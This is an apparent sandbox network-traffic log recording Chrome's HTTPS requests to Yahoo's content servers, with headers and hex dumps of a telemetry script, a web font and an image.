2024-04-27 22:41:48 UTC	791	IN	HTTP/1.1 200 OK x-amz-id-2: LvLoGQdUkeLOYfT/vf8/llTYC1e6dCHOz/pnmmeg/VAFjXm47WNP3J1hHRRrObIEcShQydQedo4= x-amz-request-id: 7TYS08RM9Z8NYGBJ Date: Sat, 27 Apr 2024 12:25:20 GMT Last-Modified: Thu, 05 May 2022 20:34:05 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 5636 Referrer-Policy: no-referrer-when-downgrade Etag: "0ccb51bc1dd6980920da39e008a599e0" Age: 36989 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 76 61 72 20 57 4f 52 4b 5f 53 45 52 56 45 52 3d 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 2d 6d 63 64 6e 2e 73 65 63 75 72 65 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 79 62 61 72 2f 65 78 70 2e 6a 73 6f 6e 22 2c 54 49 4d 45 4f 55 54 3d 32 65 33 2c 43 65 72 65 62 72 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 75 70 6c 6f 61 64 54 79 70 65 3d 22 69 6e 64 69 76 69 64 75 61 6c 22 2c 74 68 69 73 2e 65 78 70 43 6f 75 6e 74 3d 30 2c 74 68 69 73 2e 70 65 6e 64 69 6e 67 3d 7b 7d 2c 74 68 69 73 2e 63 6f 6d 70 6c 65 74 65 3d 30 7d 72 65 74 75 72 6e 20 65 2e 72 75 6e 45 78 70 65 72 69 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 6e 65 77 20 65 29 2e 5f 66 65 74 63 68 57 6f 72 6b 28 29 7d 2c 65 2e 73 65 6e 64 42 65 61 63 6f Data Ascii: var WORK_SERVER="https://edge-mcdn.secure.yahoo.com/ybar/exp.json",TIMEOUT=2e3,Cerebro=function(){function e(){this.uploadType="individual",this.expCount=0,this.pending={},this.complete=0}return e.runExperiment=function(){(new e)._fetchWork()},e.sendBeaco
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 69 73 20 30 22 29 3b 65 6c 73 65 7b 69 66 28 6e 3e 3d 65 2e 65 78 70 4c 69 73 74 2e 6c 65 6e 67 74 68 29 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 6d 61 72 6b 65 64 20 61 6c 6c 20 65 78 70 65 72 69 6d 65 6e 74 73 20 74 6f 20 72 75 6e 20 61 73 20 65 78 70 43 6f 75 6e 74 20 3e 3d 20 65 78 70 4c 69 73 74 20 6c 65 6e 67 74 68 22 29 2c 72 3d 65 2e 65 78 70 4c 69 73 74 3b 65 6c 73 65 20 69 66 28 22 72 61 6e 64 6f 6d 22 3d 3d 3d 74 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 6d 61 72 6b 65 64 20 22 2b 6e 2b 22 20 72 61 6e 64 6f 6d 20 65 78 70 65 72 69 6d 65 6e 74 73 20 74 6f 20 72 75 6e 22 29 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 3b 69 2b 2b 29 7b 76 61 72 20 73 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 65 2e 65 78 Data Ascii: is 0");else{if(n>=e.expList.length)console.log("marked all experiments to run as expCount >= expList length"),r=e.expList;else if("random"===t){console.log("marked "+n+" random experiments to run");for(var i=0;i<n;i++){var s=Math.floor(Math.random()*(e.ex
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 65 61 63 6f 6e 73 22 29 7d 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 6d 3d 74 68 69 73 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 74 61 72 74 54 69 6d 65 3d 30 2c 74 68 69 73 2e 65 6e 64 54 69 6d 65 3d 30 2c 74 68 69 73 2e 73 6f 75 72 63 65 3d 22 64 65 66 61 75 6c 74 22 7d 2c 74 3d 30 2c 6f 3d 65 3b 74 3c 6f 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 6f 5b 74 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 72 2c 69 2c 73 2c 6f 2c 61 2c 75 2c 63 29 7b 76 61 72 20 6c 2c 70 2c 64 2c 66 2c 68 3b 30 3c 61 2e 6c 65 6e 67 74 68 7c 7c 30 3c 6f 2e 6c 65 6e 67 74 68 3f 28 70 3d 6e 65 77 20 6e 2c 64 3d 21 31 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 Data Ascii: eacons")}},e.prototype._sendBeacons=function(e){for(var m=this,n=function(){this.startTime=0,this.endTime=0,this.source="default"},t=0,o=e;t<o.length;t++){var r=o[t];!function(r,i,s,o,a,u,c){var l,p,d,f,h;0<a.length\|\|0<o.length?(p=new n,d=!1,new Promise(f
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 29 2c 66 7c 7c 65 28 29 7d 2c 68 2e 73 74 61 72 74 54 69 6d 65 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 6f 2e 73 72 63 3d 72 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 70 65 72 66 6f 72 6d 61 6e 63 65 22 69 6e 20 77 69 6e 64 6f 77 26 26 22 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 22 69 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7b 68 2e 65 6e 64 54 69 6d 65 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 68 2e 73 6f 75 72 63 65 3d 22 69 6d 61 67 65 22 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 4e 61 6d 65 28 72 29 3b 6d 2e 65 78 70 43 6f 75 6e 74 3d 31 3c 65 2e 6c 65 6e 67 74 68 3f 6d 2e 65 78 70 43 6f 75 6e Data Ascii: clearTimeout(t),f\|\|e()},h.startTime=Date.now(),o.src=r}).then(function(){if("performance"in window&&"getEntriesByType"in window.performance){h.endTime=Date.now(),h.source="image";var e=window.performance.getEntriesByName(r);m.expCount=1<e.length?m.expCoun
2024-04-27 22:41:48 UTC	436	IN	Data Raw: 22 2c 6c 3d 5b 5d 2c 69 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 2b 3d 65 2e 72 65 70 6c 61 63 65 28 22 3c 42 45 41 43 4f 4e 3e 22 2c 6e 29 2c 6c 2e 70 75 73 68 28 65 2e 72 65 70 6c 61 63 65 28 22 3c 42 45 41 43 4f 4e 3e 22 2c 6e 29 29 7d 29 2c 22 67 72 6f 75 70 22 3d 3d 74 68 69 73 2e 75 70 6c 6f 61 64 54 79 70 65 3f 28 63 20 69 6e 20 74 68 69 73 2e 70 65 6e 64 69 6e 67 7c 7c 28 74 68 69 73 2e 70 65 6e 64 69 6e 67 5b 63 5d 3d 5b 5d 29 2c 74 68 69 73 2e 70 65 6e 64 69 6e 67 5b 63 5d 2e 70 75 73 68 28 5b 75 2c 6c 5d 29 2c 74 68 69 73 2e 63 6f 6d 70 6c 65 74 65 2b 2b 2c 74 68 69 73 2e 63 6f 6d 70 6c 65 74 65 3d 3d 74 68 69 73 2e 65 78 70 43 6f 75 6e 74 26 26 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 70 65 6e 64 69 6e 67 29 Data Ascii: ",l=[],i.forEach(function(e){c+=e.replace("<BEACON>",n),l.push(e.replace("<BEACON>",n))}),"group"==this.uploadType?(c in this.pending\|\|(this.pending[c]=[]),this.pending[c].push([u,l]),this.complete++,this.complete==this.expCount&&Object.keys(this.pending)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49786	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	574	OUT	GET /cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.yahoo.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:48 UTC	815	IN	HTTP/1.1 200 OK x-amz-id-2: im6p63pcoQNqqbY00p7sNbvTpan9K1fX5RgdZd9HBK9IHVZU3J+IXo0KI0uhECHTTp84CzPRD70= x-amz-request-id: 7DTT709VVB1CH54T Date: Sun, 21 Apr 2024 11:18:17 GMT Last-Modified: Mon, 30 Nov 2020 20:20:29 GMT ETag: "b4df4fce99e5a3c3d1493112a0159071" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 65176 Referrer-Policy: no-referrer-when-downgrade Age: 559412 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 fe 98 00 11 00 00 00 02 5e d8 00 00 fe 2a 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 8c 2f 1b 83 ee 0a 1c 92 7a 3f 48 56 41 52 8c 77 06 60 3f 53 54 41 54 1c 00 88 00 2f 64 0a 81 b9 10 81 94 4f 0b 87 36 00 30 83 a1 46 01 36 02 24 03 8e 66 04 20 05 8b 7c 07 99 39 5b b3 47 92 80 b0 09 68 2c 6a 2b 6e e3 d7 6d 44 c0 67 6e a9 56 da f1 b3 17 c2 3c bc d6 63 31 3d c5 8c 9a 32 13 7f 7e b0 06 cf 8d e4 ee 76 c4 5e 8d d7 eb b3 ff ff ff ff 17 25 8b 18 5b 33 87 cd ec dd 01 00 a9 66 81 a2 66 f5 fd 3f c9 61 44 2e b9 a8 a8 b6 e8 a8 87 d1 b5 79 18 0b 54 a6 e8 3b 4f d5 73 7e dd 0f 87 b6 d5 f1 f4 86 72 7e 7b c5 bb 3f c6 f1 b0 74 89 76 85 20 ee 44 e2 4b 5f 1b e4 95 c2 74 56 f3 16 de 37 b8 4a c2 86 e3 2d 32 16 3a 46 Data Ascii: wOF2^*/z?HVARw`?STAT/dO60F6$f \|9[Gh,j+nmDgnV<c1=2~v^%[3ff?aD.yT;Os~r~{?tv DK_tV7J-2:F
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 1f 66 86 85 fb d2 e9 d3 06 b3 8b 33 38 2b db 92 8b 92 5f 4a 39 f6 eb 3f dc 4e ff da 5b 4a 55 fe 43 c9 17 65 85 59 21 0d f6 2c d6 80 ed 97 fb e5 3b d8 4e b3 22 11 49 a7 f9 33 3d 02 5b 40 4d 2c d9 1d 24 2b 5c 85 37 cf a0 53 0f d3 81 05 ae 63 f8 f7 8a 77 2d c0 38 77 06 ba 2c 4a 08 e9 e1 8b 5d 76 a5 4b ec 12 91 74 e5 0f bb 83 1c 22 12 7c bb 44 82 1c de b2 db 8e 25 76 d9 65 97 88 1c 22 22 76 05 11 f1 0f 91 c3 2e bb 24 88 c8 61 97 e4 56 10 11 09 72 88 1c 22 7e 10 f1 03 e0 ef 75 ea fb 92 02 c0 05 1e c6 4e bd 0e 23 8e 38 d6 32 49 b1 d8 10 60 95 6c 16 16 b6 90 ec 84 37 22 ab e5 0d c1 4e 61 ed a4 4e 4b d2 0a d0 dc 27 10 0d 8b bc 65 b2 c4 a7 a7 e9 ff 7f 9b fe fb 67 ef 7d 0e 0f 6a 46 68 0a 11 77 59 69 8a 34 cd 1b 8f df 4a 97 a2 49 19 fe bf e8 02 04 17 c1 a0 97 eb 6b Data Ascii: f38+_J9?N[JUCeY!,;N"I3=[@M,$+\7Scw-8w,J]vKt"\|D%ve""v.$aVr"~uN#82I`l7"NaNK'eg}jFhwYi4JIk
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: bf df f5 ee bf 5b bf 0d 5f 9e e3 32 a7 22 8f c9 3e f6 f4 a4 ae 9f e0 33 27 5f 9e e3 bf b1 2c 10 26 93 ff 41 67 a1 23 7b ae 29 1c fd 17 a3 7c 39 aa eb 91 0a ce 30 8f 3d 8d 8d 7e 1c 3a 26 94 4d 3c 4d 14 4e de 68 25 75 3d 15 9e 8a 4c 2f 93 01 98 82 9e 1e 05 ed f8 2f 4b d6 1a 7d 9e df c8 15 ce 84 67 22 33 80 19 e8 d9 53 75 dc bb 13 4f 27 46 7f 62 cc f3 af 7a f8 6a 81 fc c6 5c 75 e6 0a e7 47 41 f7 65 ec 98 9d 88 03 70 a0 9d d1 bb a7 ea 24 d9 c2 bb c2 53 a1 b0 c0 68 d0 e8 0b 63 5e 8c 1f 2d 8a 74 21 bc 50 b8 50 c1 10 46 43 18 0f 3d 55 5d 52 56 92 2d bd 2b 3d 95 c2 a5 48 09 50 82 2e 8d be 2a 92 aa 48 2b ca 2a b2 95 77 95 c2 4a 05 23 18 e7 fe f9 89 f2 bb 24 4c 22 04 40 a0 e9 a8 72 39 fe 75 49 d9 92 ec d2 83 9b 68 69 f4 cb d0 71 9a b5 9f 16 09 a4 e6 a7 0a 0d c6 30 Data Ascii: [_2">3'_,&Ag#{)\|90=~:&M<MNh%u=L//K}g"3SuO'Fbzj\uGAep$Shc^-t!PPFC=U]RV-+=HP.H+wJ#$L"@r9uIhiq0
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 02 21 b1 34 4c 36 62 59 b4 32 36 16 ab 50 4a c1 08 50 2e fd 6d 41 ae c7 77 3c cf b4 9a 93 b7 4e 31 f9 eb b5 ac 60 a3 96 17 63 bd 95 ed b6 4f 6a fb 05 7a 19 0f 62 94 6b 83 d8 9a 6d d3 d6 ad 82 83 db ff 3d 8e ee 74 50 27 0f 38 aa 87 6f b4 bb c5 de a8 bb 36 8a 5d 0b 2c 3f 65 ef 6d be 7a 83 d9 e5 6f 36 fa c0 09 42 2b cd ea 09 f3 e3 22 ac 7f 7e 68 dc e0 b1 9f 28 bd 36 2c 1e 4f 6a 1e 74 77 36 ff fa 0e 88 45 bb 2e d2 89 7e 77 97 8c 62 c4 7f 07 22 7e 34 2c bf cd 89 ec bf 7f cd 25 9e 6b ad b6 98 f4 c5 2b 82 33 36 5f 9d cf 3f ee 7e e3 41 2b e2 99 1a 5c 7f 5c 12 3f ad 1d 60 c5 d6 86 43 cb 71 52 7e bb 13 21 b0 b3 d2 18 62 d7 e8 c8 e9 d9 3d 75 18 bd cf d1 f4 2e 5c 41 8e a6 23 0d 4c 50 94 a8 28 bf 14 59 dc e9 b1 5f 39 7a 23 16 e4 e8 48 09 99 b3 4c cb 72 5e 40 61 60 d4 Data Ascii: !4L6bY26PJP.mAw<N1`cOjzbkm=tP'8o6],?emzo6B+"~h(6,Ojtw6E.~wb"~4,%k+36_?~A+\\?`CqR~!b=u.\A#LP(Y_9z#HLr^@a`
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: c4 29 74 7c 37 93 7e fd 14 7a 2e 2f e6 d6 f7 81 ff 47 85 65 a4 39 53 fe 27 d1 9f 69 9b 76 48 22 99 94 46 53 17 34 63 37 62 a9 d9 d5 69 4f 7b a2 b7 be 58 3f c8 16 a7 22 ed e7 18 7d 05 90 9f 3c 07 aa 4f 15 9f ba b2 7c fb ff 72 06 25 7a df 73 1e 96 0c 2e 80 de fc ed a2 8d 8c 5c 5a bf 0c 7c 0d 61 2d 9a 35 0e e9 3a 89 75 4f 88 e0 6b 01 21 fa 6b eb a1 f0 63 54 5e f4 5b 0f e7 03 0f 7c 7d ec 81 af 7f 27 57 c3 3b bb 20 3c 0a 61 42 3e ac 8c 09 f4 66 ba b3 c0 97 7c ce b7 8b 2e 80 bd d9 cd 45 a0 74 f1 a5 03 9f 33 5c 05 b3 94 2a 76 5b 81 af d3 4b ef 6a 8d e8 ae 4f e4 48 08 74 52 03 5f 5a c9 55 f5 f9 1b 14 f0 75 81 98 9a 67 97 41 02 44 79 b8 c5 56 0c 93 3e 90 45 f9 b8 a7 cc 51 85 5f ea ec 9b 92 f9 17 bc 95 e1 60 36 2d c7 c7 dd 70 b9 8a 39 6b b8 7c fe 5b fc 44 bf aa 20 Data Ascii: )t\|7~z./Ge9S'ivH"FS4c7biO{X?"}<O\|r%zs.\Z\|a-5:uOk!kcT^[\|}'W; <aB>f\|.Et3\*v[KjOHtR_ZUugADyV>EQ_`6-p9k\|[D
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: ca 94 8a e9 94 f3 20 ae 0a c9 20 c8 0e 0d 79 c9 1e 26 6b db af 0b 92 0e a0 a8 83 1d ed c8 d2 45 27 24 a2 16 ce 32 9c cd 5c 66 44 2d e6 b0 13 33 d9 8f 85 3f 4e 63 44 14 7d f8 cc 70 3b 55 2c 19 a3 fd a9 5b 4e f7 8f ae 5f ad 43 2e 72 43 43 ae 73 53 01 77 b9 a5 0b 1e 73 fb 62 66 9c 1b c6 2a ea 64 82 20 af 94 f0 9e b7 ca 44 25 ef 82 de d3 87 e3 1f 35 e2 2b 56 fb db fe a5 55 96 ff 68 a7 f9 1f bb e4 1e 37 c4 00 a2 84 19 1d 77 a2 d1 50 dc de 79 c3 f1 a2 a8 49 fc b3 28 23 79 fa 0d 2b 76 19 1d b0 12 92 79 2b 17 84 25 46 ad 06 93 6d 02 45 5e bb 85 fb 70 35 fc ad 5b 7f 1f 04 c6 bc 00 07 e1 cd cb f0 19 7a e7 aa 8d e9 e6 35 75 89 d0 c4 35 ee 09 60 63 10 f7 54 29 61 a6 35 0c 19 4a 8c 15 80 f5 d5 50 c3 68 e0 9f 36 ca 37 ca fd f0 a0 19 01 a2 d7 aa 39 0a 77 1a 76 77 0b fc Data Ascii: y&kE'$2\fD-3?NcD}p;U,[N_C.rCCsSwsbf*d D%5+VUh7wPyI(#y+vy+%FmE^p5[z5u5`cT)a5JPh679wvw
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: ea 4d 07 39 67 3d 8e cf 76 48 42 4b 17 15 db f7 16 59 89 67 9c 56 a7 66 da 87 ed 5b 1f 4e 55 23 20 e7 1c ee c4 1b 38 ca a6 62 7e bf 78 c9 15 cb b7 c5 c5 2e 1f b8 5d fa 78 17 50 1d c4 6e ae 67 a6 7e 6a 6d ec f7 60 77 13 40 77 ca e7 6c c7 65 ae 87 c0 bb 1d 5e f8 29 82 b9 fd 53 eb 75 2d 76 69 d9 13 ad 01 b2 73 2f b9 27 20 b6 38 d6 7d 16 22 b6 29 33 6b 9e cc 5e 58 bb db 5b 9c 80 0a 13 49 db 0d 95 de e9 b0 f6 3c b3 db 48 99 b4 58 99 f6 8e 38 f6 0c 0f e1 07 89 49 32 2c 55 75 51 49 a6 26 4b 23 6f a4 20 65 a9 62 77 cb ec 55 60 ba fb 1d 83 74 a4 27 43 80 05 d4 31 28 63 a0 c8 6c 16 d5 ed 34 3b 0d b2 db dd be ee f6 ef b2 26 36 ec ca d3 9d 94 39 ab b7 13 e7 60 b7 9b 53 37 cf ee 65 df 05 56 7b f7 68 c5 40 37 24 d5 6f 5f 82 97 78 37 0c 72 04 06 26 16 92 13 67 2e d8 d5 Data Ascii: M9g=vHBKYgVf[NU# 8b~x.]xPng~jm`w@wle^)Su-vis/' 8}")3k^X[I<HX8I2,UuQI&K#o ebwU`t'C1(cl4;&69`S7eV{h@7$o_x7r&g.
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: f6 5a a6 51 16 38 5e 3f a7 d5 08 19 c7 38 6f af e9 33 21 8b 4f 1c 95 d8 8e 7b 43 fd 77 93 f5 db 29 2a 71 da b6 d8 c4 b4 83 d5 f5 2a 9d 6d e5 0c 34 df b2 2a a2 f1 dc aa 8d 6a c6 c7 64 cd 95 36 ce 72 b8 7e c5 26 1b d3 f0 ad a0 e9 46 59 12 2d d0 62 b9 14 78 0d 9a bd 09 ba 0e 2a ee 2d c5 ba e3 61 04 b5 06 dd 5a 37 6a f6 a5 a0 57 51 2b 96 1a 47 37 a6 5e 4b 19 34 9b 26 d3 72 75 fb f4 7a 1c 03 ab 7b 38 ee 74 82 4e 52 e5 e2 2a de eb 60 8c ad 61 ba 39 66 9c 78 88 52 ef b5 89 a0 5e 03 c1 1d 21 b0 7c 91 d6 d3 a1 b3 26 c3 82 15 b0 bb 0c aa 9d ba 18 9b ab cf 5b 00 e7 3c c0 29 71 50 c7 87 ea c3 7d 50 9f c0 af 06 e0 e0 2a c8 7e 87 2a 0d 59 c5 b6 d6 20 90 ce f3 f9 45 91 99 d2 cc 10 39 18 0b 5a 6b a5 71 42 28 9d 02 20 e7 1e 90 f3 d3 4b a4 5d 6b 74 0e dd 36 71 22 88 2b ae Data Ascii: ZQ8^?8o3!O{Cw)qm4jd6r~&FY-bx-aZ7jWQ+G7^K4&ruz{8tNR`a9fxR^!\|&[<)qP}P~*Y E9ZkqB( K]kt6q"+
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 3d ce e5 88 64 a4 d2 22 ad da b4 3f 69 51 72 03 5d ec e9 d9 98 23 f7 82 ef b8 68 25 23 41 ee c0 81 ea 61 04 9e 3a 9c 97 28 62 7b 47 7f e7 a5 ca cc 14 25 1b f8 48 b5 c6 c7 52 fc 89 32 cb ba d4 1e 6d 37 ea b8 4d 5a 89 45 d6 28 81 28 f2 73 7b 5d 1b ad 8e bb 15 09 b0 4a 3d ab 16 02 fa 60 1f 3f a8 26 00 03 18 81 33 ca 3c 2f e5 78 75 96 69 0a 92 71 fa b3 6d 3b 71 b6 99 f7 bf 89 d7 d9 79 b9 f2 0c e9 80 c0 10 28 0c 8e 40 4e bb 47 15 f6 f4 d9 9c ba 01 5c f5 a1 6a 3c f3 dc 8b fd 7a f9 99 62 0d e0 fb 5f 6a 6c 9a 34 b3 6c ad aa d2 08 5b 2a 2d 68 d5 a6 bd 76 60 33 05 9d ba d8 d3 53 eb d2 8b 9f 66 5c a4 6f 55 0d 6a e5 43 4b 97 59 fb 81 60 76 69 66 cb d0 5e 9b 13 e6 ca 5d 0f 8a 73 e0 93 2c 04 7b ab 03 99 81 84 52 b3 25 59 0e ad 5a 05 cb 67 5a fa 67 a6 13 48 67 23 d3 08 Data Ascii: =d"?iQr]#h%#Aa:(b{G%HR2m7MZE((s{]J=`?&3</xuiqm;qy(@NG\j<zb_jl4l[*-hv`3Sf\oUjCKY`vif^]s,{R%YZgZgHg#
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 2a 36 20 47 01 16 7c b5 a2 e0 34 c4 4a 6c 38 03 9d 34 88 33 47 d0 f3 9e 42 cf 8e 9e 73 32 9c a0 2a b9 54 d6 94 92 8d a2 4d cd 36 3a 4d 3b 90 9d 1b cb 6e 64 6f a1 52 3b 66 67 fd 1e aa 93 0e d6 34 f7 5b 10 55 bd 4d 58 58 51 00 da 7b 58 7b fa 10 68 f7 c7 7c 7b 43 75 a9 d0 e3 61 8c a6 c9 b0 29 17 f4 2d 25 be 35 84 6d e3 5c a6 13 1d fc 16 f7 89 8a ba 1c 4d 44 51 8a 59 ad db f6 db f6 9b 7e 0e 5b 41 7e d0 55 b9 b6 6a 08 88 7a 20 d0 45 c2 c3 f2 65 38 15 2e ee 00 44 42 b3 f1 46 99 4e 3e 41 c1 1c 7a c5 24 9b 76 00 fb d1 11 53 5f 6c 07 b9 b5 3d a6 5a 53 95 5c 4d e4 01 98 b6 2e 54 73 f3 a1 bb 9c 36 93 17 13 b5 04 69 e5 81 87 da db e6 b2 2f 36 e2 01 ad 50 b1 d2 82 60 19 a4 3d cf 67 3e d7 fd 04 b8 0b b8 84 0c 17 15 43 82 c8 2f 10 11 2f 11 c2 52 1d 0b 07 61 c3 a5 87 06 Data Ascii: 6 G\|4Jl843GBs2TM6:M;ndoR;fg4[UMXXQ{X{h\|{Cua)-%5m\MDQY~[A~Ujz Ee8.DBFN>Az$vS_l=ZS\M.Ts6i/6P`=g>C//Ra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49790	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	763	OUT	GET /uu/api/res/1.2/qEbq1mD293sfBSM0hh9GaQ--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/851b4400-04d0-11ef-87f7-96750d986e06.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:48 UTC	1294	IN	HTTP/1.1 200 OK Content-Length: 8144 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 454764412291012042574950010564906424989,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="851b4400-04d0-11ef-87f7-96750d986e06.webp" Edge-Cache-Tag: 454764412291012042574950010564906424989,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "fb4ccc91f5e68b5f33598e14b07edfc6" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 20:04:58 GMT Server: ATS Surrogate-Reporting: width=356,height=180,bytes=8144,owidth=5939,oheight=3344,obytes=1123481,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 20:28:46 GMT X-Served-By: cache-lga21945-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714249726.989448,VS0,VE88 Age: 7985 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-lga21945-LGA cld_latency: 88 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:48 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
